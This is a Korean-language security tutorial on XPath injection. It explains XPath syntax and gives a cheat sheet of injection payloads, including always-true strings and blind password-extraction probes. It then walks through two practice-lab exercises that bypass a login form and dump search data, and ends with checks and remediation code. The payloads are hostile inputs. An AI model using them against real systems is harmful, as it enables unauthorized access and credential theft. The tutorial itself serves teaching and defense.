sheow13 2023. 10. 19. 13:35
728x90

개요

- XML(eXtensible Markup Language)W3C에서 개발된, 다른 특수한 목적을 갖는 마크업 언어를 만드는데 사용하도록 권장하는 다목적 마크업 언어로, 텍스트 기반이며 간결한 데이터형이다.

- XML은 데이터를 트리 구조의 노드로 표현을 하며, 사용자 정의로 데이터를 분류를 진행한다.

- 사용자의 입력한 값을 서버에서 검증하지 않을 경우, 공격자는 이를 이용하여 쿼리문의 의미를 왜곡시키거나 그 구조를 변경하고 임의의 쿼리를 실행하여 인가되지 않은 데이터를 열람할 수 있는 공격

- 주요정보통신기반시설 웹 취약점 진단 기준으로 07. XPath 인젝션에 해당

 

 

 

사전 지식

Xpath란?

- XpathXML문장 속의 요소, 속성 등을 지정하기 위한 언어로서, Xpath에는 XML문장을 트리로서 다루기 때문에, 요소나 속성의 위치를 지정하는 것이 가능하다.

- Xpath는 트리 구성으로부터 요소를 얻어내며, 5000원이라는 요소를 취득하고 싶은 경우에는 하기 HTML에서 ‘/html/body/div/span[@class='regular_price']으로 쓰거나, '//span[@class='regular_price']'로 표현할 수 있다.

더보기

<html>

...

   <body>

     <h1>아이스크림</h1>

      <div class="item">

       <span class="brand">together</span>

       <span class="regular_price">5000</span>

       <span class="sale_price">2500</span>

     </div>

   </body>

</html>

 

 Xpath 주요 구조

 

 Xpath 주요 명령어

명령어 설명
/ 최상위 노드
// 현재 노드로부터 모든 노드 조회
* 모든 노드 조회
. 현재 노드
.. 현재 상위 노드 접근
parent 현재 노드의 부모 노드
child 현재 노드의 자식 노드
[] 조건문
node() 현재 노드로부터 모든 노드 조회

 

  Xpath 인젝션

- 외부 입력값에 대한 검증을 하지 않을 경우, 공격자는 웹 서버에 쿼리문의 의미를 왜곡시키거나 그 구조를 변경하고 임의의 쿼리를 실행시켜 인가되지 않은 데이터를 열람 할 수 있다.

- 예를들어 ID/PW"admin", "password"라고 가정할 때, 웹 서버로 전달되는 값은 [ID='admin'&PW='password']이다. 공격자는 항상 참이 되는 값으로 쿼리를 변조하는 쿼리인 ‘or 1=1 or'"ID에 입력하면, 웹 서버에 전달되는 값은 [ID=''or 1=1 or''&PW=’임의의 값‘]이 된다. AND 연산은 OR 연산보다 우선하기 때문에 쿼리의 조건 값은 [ID=''(거짓) or 1=1() or ''&PW='임의의값'(거짓)]이다. [거짓 or or 거짓]일 경우, 결과값은 참이 되어 패스워드 정보를 몰라도 로그인 인증 절차를 우회가 가능하다.

 

 Xpath Cheat Sheet

예시
elice’ and count(../child::*)=6 or ‘a’=’b
elice’ and string-length(name(parent::*))=6 or ‘a’=’b
elice’ and substring(name(parent::*),1,1)=’h’ or ‘a’=’b
elice’ and string-length(name(../child::*[position()=1]))=4 or ‘a’=’b
elice’ and substring(name(../child::*[position()=1]). 1,1)=’b’or ‘a’=’b
elice’ and string-length(name(/heroes/child::*))=4 or ‘a’=’b
elice’ and string-length(name(//*))=6 ‘a’=’b
' or '1'='1
' or ''='
x' or 1=1 or 'x'='y
/
//
//*
*/*
@*
count(/child::node())
x' or name()='username' or 'x'='y
' and count(/*)=1 and '1'='1
' and count(/@*)=1 and '1'='1
' and count(/comment())=1 and '1'='1
search=')] | //user/*[contains(*,'
search=Har') and contains(../password,'c
search=Har') and starts-with(../password,'c

 

실습1 (난이도 : )

Step 1. XML/XPath Injection(Login Form)으로 이동 후, Injection 가능 여부를 위해 싱글쿼터(‘) 입력 시 오류 메시지 발생 확인

아이디, 비밀번호를 and 연산으로 호출하고 있는 것으로 추측
AND 연산은 OR연산보다 우선하기 때문에 항상 OR 연산과 함께 참이 되는 쿼리를 입력하면 AND 연산 결과와 상관없이 결과는 참

[ID, PW에 싱글쿼터(') 입력시, XML 사용 유무 확인 및 ID,PW가 AND 연산으로 동작하고 있음을 확인]

 

Step 2. 항상 참이 되는 조건으로 로그인 시도 시, 정상적으로 로그인 성공 확인

웹에서 입력되는 값이 [login='' or 1=1 or 1''&password='']으로패스워드 값이 어떠한 값이 오더라도 AND 연산자를 먼저 계산하여 항상 참이 되는 조건(거짓 or 참 or 거짓)
입력 값
‘ or 1=1 or’

[항상 참이 되는 조건문으로 입력 시 로그인 성공 확인]

 

 실습2 (난이도 : 하)

Step 1. XML/XPath Injection(search)으로 이동 후, Injection 가능 여부를 위해 싱글쿼터(‘) 입력 시 오류 메시지 발생 확인

[Search 버튼 클릭]
[URI 파라미터 값에 싱글쿼터 입력 시 에러메시지 내에 Xpath 사용하고 있음을 확인]

 

Step 2. 항상 참이 되는 조건으로 로그인 시도 시, 정상적으로 테이블 정보 수집 확인

웹에서 입력되는 값이 genre=[(' '] or 1][(' or ')]으로 패스워드 값이 어떠한 값이 오더라도 AND 연산자를 먼저 계산하여 항상 참이 되는 조건(거짓 or 참 or 거짓)
입력 값
') or 1=1 ][(' or

[항상 참이되는 조건문으로 입력 시 테이블 정보 수집 확인]

 

■ Xpath Injection 점검 방법 

수동 점검

- 웹사이트의 사용자 인수 값을 입력받은 애플리케이션에 Xpath 인젝션 Cheat Sheet 입력 후, 에러 페이지 또는 특이사항이 발생하는지 확인

 

자동화 도구를 통한 점검

- 자동화 도구(Ex, Burp Suite Pro, Acunetix )를 사용하여 점검하고자 하는 사이트에 운영체제 명령 실행 취약 여부 점검

- 아래 예시는 Burp Suite Pro에서 제공하는 Active Scan을 예시로 들었으며, 자세한 사항은 하기 링크 참조

 

 

 

조치 방법

 

1. Xpath를 비활성화 및 안전한 모듈 사용

 - xml.etree.ElementTree 모듈은 Xpath 기능을 제공하고 있으며, 외부 입력값에 대해 검증하지 않고 그대로 입력되어 보안상 취약

- 보안상 안전한 lxml 라이브러리를 사용하고, 외부 입력값에 대해 인자화해서 사용하는 것을 권고

 

from django.shortcuts import render
from lxml import etree
def parse_xml(request):
	user_name = request.POST.get('user_name', '')
    
	parser = etree.XMLParser(resolve_entities=False)
	tree = etree.parse('user.xml', parser)
	root = tree.getroot()

	# 외부 입력값을 paramname으로 인자화 해서 사용
	query = '/collection/users/user[@name = $paramname]/home/text()' elmts = root.xpath(query, paramname=user_name)
 	return render(request, 'parse_xml.html', {'xml_element':elmts})

 

2. HTML에서 htmlspecialchars() 함수를 사용하여 특수문자를 이스케이프 처리

더보기

function a($var)    // 입력 받은 특수문자를 이스케이프 처리
{
if (is_array($var)) {
return array_map(‘a’, $var);
} else {
return htmlspecialchars($var, ENT_QUOTES, ‘UTF-8’);
}